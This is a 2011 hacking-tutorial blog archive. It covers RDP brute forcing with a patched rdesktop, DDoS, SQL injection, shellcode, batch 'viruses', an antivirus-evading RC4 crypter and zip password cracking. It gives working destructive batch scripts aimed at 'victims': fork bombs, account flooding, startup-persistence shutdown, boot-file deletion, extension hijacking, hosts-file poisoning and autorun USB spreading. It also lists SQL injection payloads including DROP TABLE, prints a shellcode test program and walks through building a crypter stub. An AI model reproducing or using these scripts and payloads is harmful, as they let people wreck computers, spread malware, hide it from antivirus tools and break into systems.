Kidz Debian: January 2011

Monday, January 31, 2011

Brute forcing RDP in GnackTrack with Rdesktop

Downlaod:

www.mediafire.com/blaguvest

rdesktop-1.6.0.tar.gz

rdp-brute-force-r806.diff

Download and install the application and patch using the newest version of rdp brute force patch, r806.diff

tar -xvzf rdesktop-1.6.0.tar.gz

cd rdesktop-1.6.0

patch -p1 -i ../rdp-brute-force-r806.diff

./configure
make
sudo make install

At this point you should have rdesktop modified and installed.

Exempel : rdesktop -u [user] -p [file] -d [domain] [Target IP]

Attack : rdesktop -u administrator -p wordlist.txt 127.0.0.1

Saturday, January 29, 2011

What Is Ddos Attack And How Does It Work?

What Is Ddos Attack And How Does It Work?

Many of people in illusions that Website hacking and Attacking is very Difficult and only some hackers and professionals can Do It... Now that's absolutely wrong thinking... Its as Easy as alphabetic.

First of all We all should know What are the Different Methods Of attacking Websites...
There are Generally Three Methods of Attacking an Website...

1. Ddos Attack
2. Shell Scripts Attack

3. Javascript Attack or Attack through Scripting.

Note: SQL and other techniques comes in the Hacking Websites Part Not in attacking Part. Attacking is simply for fun or intentionally causing damage to the Website..

Ddos Attack

What is a Distributed Denial of Service (DDoS) attack?

Have you ever tried to make a telephone call but couldn't because all the telephone circuits were busy? This may happen on a major holiday and often happens on Diwali,New year etcc.

The reason you couldn't get through is because the telephone system is designed to handle a limited number of calls at a time.

So upto now you will Got an Idea What is Ddos(Distibuted Denial of Service) Attack.
Basically Ddos attack is an attack which makes the Network So congested such that no further Requests are delivered.

This is Done by making a number of connections to the Websites through Different Computer or Networks. Also can be done from One Computer by making Connections through Different Ports as there are 64k ports available in Windows OS.

How Attacker Launch a Ddos Attack?

Over past years Denial of service attack has made huge amount of damage,Many of the have been victimed of this attack

Its Real,On February 6th, 2000, Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day, hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually choked off.

This attack also recently hit twitter on 6th August 2009,lot of people had trouble on logging on twitter,It was brought down by denial of service attack,They tired up there server so no one can get on log on it.Websites like facebook, eBay etc have also been victim of this attack.

First, Attackers build a network of computers that will be used to produce the volume of traffic needed to deny services to computer users. We'll call this an "attack network".

To build this attack network, Attackers look for computers that are poorly secured, such as those that have not been properly patched, or those with out-of-date or non-existent anti-virus software. When the Attackers find such computers, they install new programs on the computers that they can remotely control to carry out the attack.

These days, however, the process of building an attack network has been automated through self-propagating programs. These programs automatically find vulnerable computers, attack them, and then install the necessary programs. The process begins again as those newly compromised computers look for still other vulnerable computers.

Once an attack network is built, the intruder is ready to attack the chosen victim or victims. Some information security experts believe that many attack networks currently exist and are dormant, passively waiting for the command to launch an attack against a victim's computers. Others believe that once a victim has been identified, the attack network is built and the attack launched soon afterward.

So guys i think this is enough for today hope you all now familer with Ddos attack in future post will we show how to do Ddos attacks with various hacking tools like Serve Attack Pro and LOIC (Low Orbit Ion Cannon) and other exploits.

and if you want to try ddos then comment here and tools wil b delievr to your inbox

What Is Ddos Attack And How Does It Work?

Make Your Own Anonymous Email Service

Do you want to send an email anonymously because, for example, you fear your views might not be appreciated by your boss? When avouching your opinion in public — critically important under more favorable circumstances — is unhealthy, anonymity becomes vital. Here i will show you how to setup your own anonymous email service. I am writing this post because there are some things that must be said, even when the speaker must remain anonymous. Lets start:

1) First of all you need to find a free hosting service that supports PHP and SendMail. Here is one that works perfect, and without ads: x10hosting.com. Create an account there.

2) Now open notepad and paste this PHP code: the code

because of some reason i am not going to give code here just write your email in comment and code will be sent in your mail

3) Save it everywhere u want as mail.php, then upload it in your host you created (x10hosting) via FTP.

4) Now we are done. Just go at yourname.x10hosting.com/mail.php, and start sending your fake emails.

Why sending anonymous emails is important:

* Anonymously report sensitive information to the media

* Send crime tips to law enforcement agencies anonymously

* Report wrongdoing or theft at the workplace

* Voice concerns to school principals anonymously

* Report child or any other abuse

* Initiate an anonymous chat discussion

* Share suspicions regarding a friend or loved one

Make Your Own Anonymous Email Service

What Is SQL Injection & How Does It Work

What Is SQL Injection & How Does It Work

SQL injection is most common methodology employed by a hacker to exploit vulnerabilities in software applications. Vulnerabilities are basically weak links in the software that exposes unauthorized data/information to a user. SQL injection occurs when the user input is incorrectly filtered for embedded SQL statements.

SQL injection vulnerabilities have three forms:

Incorrectly filtered special characters: escape characters

This form of SQL injection occurs when the user manipulates the SQL statements using characters such as ’. For instance consider that you need to enter username and password while logging into your account. The SQL statement generated will be:
“SELECT * FROM users WHERE password = ’” + password + “‘;”

Now suppose the userName and/or password so entered are” ‘ or ‘1’=’1”. So the SQL statement reaching the back end will be:

“SELECT * FROM users WHERE password =’ ‘or ‘1’=’1 ‘;”

Look closely at this statement. It is deciphered by the database as select everything from the table “user” having field name equal to ‘ ‘ or 1=1. During authentication process, this condition will always be valid as 1 will always equal 1. Thus this way the user is given unauthorized access.

List of Some Important inputs used by hackers to use SQL Injection technique are:
a) ‘ or ‘a’=’a
b) ‘ or 1=1 –
c) ‘ or 1=1; –
d) ‘; select * from *; –
e) ‘ (Single quote)(Here we look at the error)
f) ‘; drop table users –

On some SQL servers such as MS SQL Server any valid SQL command may be injected via this method, including the execution of multiple statements. The following value of “username” in the statement below would cause the deletion of the “users” table as well as the selection of all data from the “data” table (in essence revealing the information of every user):
a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ‘%

Incorrectly handling input data type

This form of SQL injection occurs when the user input is not strongly typed i.e. , the input by the user is not checked for data type constraint. For example consider a field where you are asked to enter your phone number. Since the phone number input is of numeric data type, therefore the input must be checked whether it is numeric or not. If not checked, then the user can send alphanumeric input and embedded SQL statements. Consider the following SQL statement:
“SELECT * FROM user WHERE telephone = “+ input +”;”
Now if I can input alphanumeric data say “11111111;DROP TABLE user” then I have embedded an SQL statement to delete the entire table “user”. This might prove detrimental to the company!!!

If you happen to know the database table name and column names, then any user can perform SQL injection using the following inputs:

1. ‘ having 1=1 –
2. ‘ group by user.id having 1=1 –
3. ‘ group by users.id, users.username, users.password, users.privs having 1=1—
4. ‘ union select sum(users.username) from users—
5. ‘ union select sum(id) from users –

Vulnerabilities inside the database server

Sometimes vulnerabilities can exist within the database server software itself, as was the case with the MySQL server’s real_escape_chars() functions.
If the database server is not properly configured then the access to the database can easily be found out by the hacker.
The hacker can get information regarding the database server using the following input:
‘ union select @@version,1,1,1—

1. Extended Stored Procedure Attacks
2. sp_who: this will show all users that are currently connected to the database.
3. xp_readmail, , , , ,@peek=’false’ : this will read all the mails and leave the message as unread.

In the same way there is a list of such extended stored procedures that can be used by the hacker to exploit vulnerabilities existing in software application at the database layer.

So guys I think now you should absolutely aware of what SQL injection is so in my next post we will discus how to hacks website' database or website form this method.

What Is SQL Injection & How Does It Work

What is exploit and how to use it?

What is an exploit

An exploit is a computer programm, which circumvent computer security. There are many ways to exploit security holes. If a computer programmer make a programming mistake in a computer program, it is sometimes possible to circumvent security. The coding of such programs, which attack (hack) the programming mistakes or security holes is the art of exploitation or exploit coding. Some common exploiting technics are stack exploits, heap exploits, format string exploits, ...

What is an stack exploit

A stack exploit occurs, if you can write more than the size of a buffer located on the stack into this buffer. If you can write more data, as the size of the buffer (more than 1024 bytes in this example) a stack overflow occurs. For example:

main(int argc, char **argv)
{
// This buffer is located at the stack
char buf[1024];
// i is located on the stack
int i;

// A 6 byte stack buffer overflow
for(i=0;i<1030;i++) buf[i] = 'A' // Another example // if argv larger than 1024 a overflow occur strcpy(buf, argv[1]); } Why a stack overflow is a security threat ? The assembler instruction 'call' push the return address on the stack. 'call' jump into a function in our example the function is main. If the function returns with the assembler instruction 'ret', it returns to the function pointer at the stack. If you can overflow the stack you can overwrite the return address located at stack. You can return to another location. The location should a pointer to a shellcode address. Read alephonestack.txt for more information. You can download it at my papers section. What is a shellcode

Shellcode are machine instructions, which launch a shell for example. A shellcode looks like this:

char shellcode[]="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62 \x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";

Every char is a machine instruction. \xcd\x80 is 'int 80' for example. After an overflow occur we need a address to return. This shellcode launch a shell. If you point to the shellcode (after a stack overflow for example), the machine instructions are launched and spawns a shell. Compile this program. It tests the shellcode and spawns a shell:

// Compile this program with gcc sctest.c -o sctest and start it: ./sctest
// now you have someting like
// sh-2.03$

#include

char shellcode[]=
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\ x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\ xcd\x80";
int
main()
{
void (*dsr) ();
(long) dsr = &shellcode;
printf("Size: %d bytes.\n", sizeof(shellcode));
dsr();
}

read alephonestack.txt for basic shellcode coding

What are heap overflows

If the heap is overflowed a heap buffer overflow occurs.
A heap overflow looks like that:

// It dynamically create a 1000 byte buffer on the heap.
main(int argc, char **argv)
{
// pointer points to a heap address
char *pointer = malloc(1000);
char *pointer2 = malloc(200);

// Overflowed, if argv[1] is larger than 1000 bytes.
// The buffer pointer 2 is overflowed if pointer
// contains more than 1000 bytes.
strcpy(pointer, argv[1]);

// Free dynamically allocated data
free(pointer)
free(pointer2);
}

Format String exploit's ?

If you control the format string in one of the printf, syslog or setproctitle function, a exploitation is possible. Format strings are something like "%s", "%x", "%d", ... For example:

main(int argc, char **argv)
{
char *buf = "TEST";

// The wrong way
// The user can control the format string
printf(argv[1]);

// You should code:
printf("%x", argv[1]);
}

What is exploit and how to use it?

Friday, January 28, 2011

How dangerous could a batch file be?

How dangerous could a batch file be?

Hi freinds, today we could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, we have focused on making the basics of batch files clear and developing the approach to code your own viruses.

What are Batch Files?

Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'

Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat

Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

2. Folder flooder

@echo off
:x
md %random% // makes directory/folder.
goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3.User account flooder

@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers.

4.Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

5. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

6. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

7. Extension Changer

@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wouldn’t open properly.

8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.

Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Viruses we just coded

Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.

2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.
first download this Batch To Exe coverter with the help of goggling .

After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive -:

Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

How dangerous could a batch file be?

How dangerous could a batch file be?

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Simple Technique To Lock Folder | Ethical Hacking Tutorial

Simple Technique To Lock Folder | Ethical Hacking Tutorial

Simple technique to lock your folder. This code is very simple and very simple lock also. I use this first technique in primary school to lock my private folder. So anyone cannot open my folder. You can place any password you want as long as you can remember it. Enjoy.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==Ethical-Hacking-tutor.blogspot.com goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

p/s only for newbies because this technique so easy to crack. Subscribe ok.

I would like to say thank you and highly appreciate your support. Please subscribe from the link bottom to appreciate my work and get the daily updates. Thank You. Happy Ethical Hacking

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Learn How To Make Crypter | Ethical Hacking Tutorial

Learn How To Make Crypter | Ethical Hacking Tutorial

Learn How To Make a crypter ?
Here the things you need.

Visual Basic 6 or Visual Basic 6 Portable

A RC4 module

A brain

The RC4 module and Visual Basic 6 Portable will have the download links at the end of this tutorial.

TABLE OF CONTENTS:
1. Introduction
2. Building your crypter
3. Conclusion

1. Introduction

RC4:
In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

Stub:
A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

Builder:
A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

2. Building your crypter.

Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.

Code:
With commondlg 'CommonDialog1.
     .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
     .DialogTitle = "Please select a executable file..." 'The title of the dialog.
     .ShowOpen 'Show the dialog.
     End With
     TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.

The With commondlg command calls CommonDialog1.
The .Filter part allows you to choose what files you only want to be selected.
The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
The .ShowOpen command shows the dialog.
End With will end CommonDialog1.
And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.

Code:
Dim sStub As String, sFile As String 'This command will declare the two strings.
Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
sStub = Space(LOF(1)) 'This declares the space.
Get #1, , sStub 'This puts in a space in the file.
Close #1 'This closes the file.

Open TextBox1.Text For Binary As #1 'Opens up the stub.
sFile = Space(LOF(1)) 'This declares the space.
Get #1, , sFile 'This puts a space in the file.
Close #1 'This closes the file.

Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
Close #1 'This closes the file.

MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.

Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.

Code:
Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password.

For this tutorial, we will be using "s0rasRC4Tutorial" as the RC4 password.

Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:

Code:
Const FileSplit = "<@#@>" 'The file split.
Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!

Public Declare Function ShellExecute Lib "Shell32.dll" Alias   "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal   lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String,   ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.

Public Sub Main() 'The main part of the stub.
Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
sStub = Space(LOF(1)) 'This will declare the space.
Get #1, , sStub 'This puts a space in the file.
Close #1 'This closes the file.

sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.

Call ShellExecute(0, vbNullString, Environ("tmp") &   "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute   command and drops the decrypted file in the temporary files folder.

End Sub 'This ends "Public Sub Main()".

The code will be teaching you. Once you're done, remove the Form1.

3. Conclusion
I hope you liked this tutorial, and I hope you learned a lot about crypting with RC4!

Visual Basic 6 Portable: http://www.mediafire.com/?tgicg4hn1n5
RC4 module: http://www.freevbcode.com/ShowCode.asp?ID=4398

Thanks to AA

I would like to say thank you and highly appreciate your support. Please subscribe from the link bottom to appreciate my work and get the daily updates. Thank You. Happy Ethical Hacking

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Cracking Zip Password Files | Ethical Hacking Tutorial

Cracking Zip Password Files | Ethical Hacking Tutorial

Tutorial On Cracking Zip Password Files..

What is FZC? FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you're gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as altavista.com.
FZC uses multiple methods of cracking - bruteforce (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a "wordlist", which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).

FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you're not supposed to have. So like every tool, this one can be used for good and for evil.
The first thing I want to say is that reading this tutorial... is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase "check name.txt" often in this text. These files should be in FZC's directory. They contain more information about FZC.
FZC is a good password recovery tool, because it's very fast and also support resuming so you don't have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &) because 32 chars is the maximum value that FZC will accept, but it doesn't really matter, because in order to bruteforce a password with 32 chars you'll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.
FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don't require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.
Now that you have a good wordlist, just get FZC working on the locked zip file, grab a drink, lie down and wait... and wait... and wait...and have good thoughts like "In wordlist mode I'm gonna get the password in minutes" or something like this... you start doing all this and remember "Hey this guy started with all this bullshit and didn't say how I can start a wordlist attack!..." So please wait just a little more, read this tutorial 'till the end and you can do all this "bullshit".

We need to keep in mind that are some people might choose some really weird passwords (for example: 'e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won't help you anymore. Instead, you'll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won't get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB's list and start using the Brute Force attack.
If you have some sort of a really fast and new computer and you're afraid that you won't be able to use your computer's power to the fullest because the zip cracker doesn't support this kind of technology, it's your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.

Now that we've gone through all the theoretical stuff, let's get to the actual commands.

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Bruteforce
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The command line you'll need to use for using brute force is:

fzc -mb -nzFile.zip -lChr Lenght -cType of chars

Now if you read the bforce.txt that comes with fzc you'll find the description of how works Chr Lenght and the Type of chars, but hey, I'm gonna explain this too. Why not, right?... (but remember look at the bforce.txt too)

For Chr Lenght you can use 4 kind of switches...

-> You can use range -> 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords
-> You can use just one lenght -> 5 :it would just brute force using passwords with 5 chars
-> You can use also the all number -> 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don't think that you would do this.... if you are thinking in doing this get a live...
-> You can use the + sign with a number -> 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option...

For the Type of chars we have 5 switches they are:

-> a for using lowercase letters
-> A for using uppercase letters
-> ! for using simbols (check the Bforce.txt if you want to see what simbols)
-> s for using space
-> 1 for using numbers

Example:
If you want to find a password with lowercase and numbers by brute force you would just do something like:

fzc -mb -nzTest.zip -l4-7 -ca1

This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.

*****
hint
*****

You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn't work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.

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Wordlis
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Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I'm not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I'm going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.
To start a wordlist attak you'll do something like.

fzc -mwMode number -nzFile.zip -nwWordlist

Where:

Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.
File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn't in the same directory of FZC you'll need to give the all path.

You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.
So if you something like

fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+

FZC would just start reading at line 50 and would just read with length >= to 9.

Example:

If you want to crack a file called myfile.zip using the "theargonlistserver1.txt" wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:

fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50

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Resuming
--------------------------------------------------------------------------------

Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).
To resume the bruteforce attack you just need to do:

fzc -mr

And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.
But if you want to resume a wordlist attack you'll need to start a new wordlist attack, saying where it's gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you'll type

fzc -mw3 -nzfile.zip -nwwordlist.txt -f100

Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.

Well, it looks like I covered most of what you need to know. I certainly hope it helped you... don't forget to read the files that come with the program and also check out our bundle software here

I would like to say thank you and highly appreciate your support. Please subscribe from the link bottom to appreciate my work and get the daily updates. Thank You. Happy Ethical Hacking

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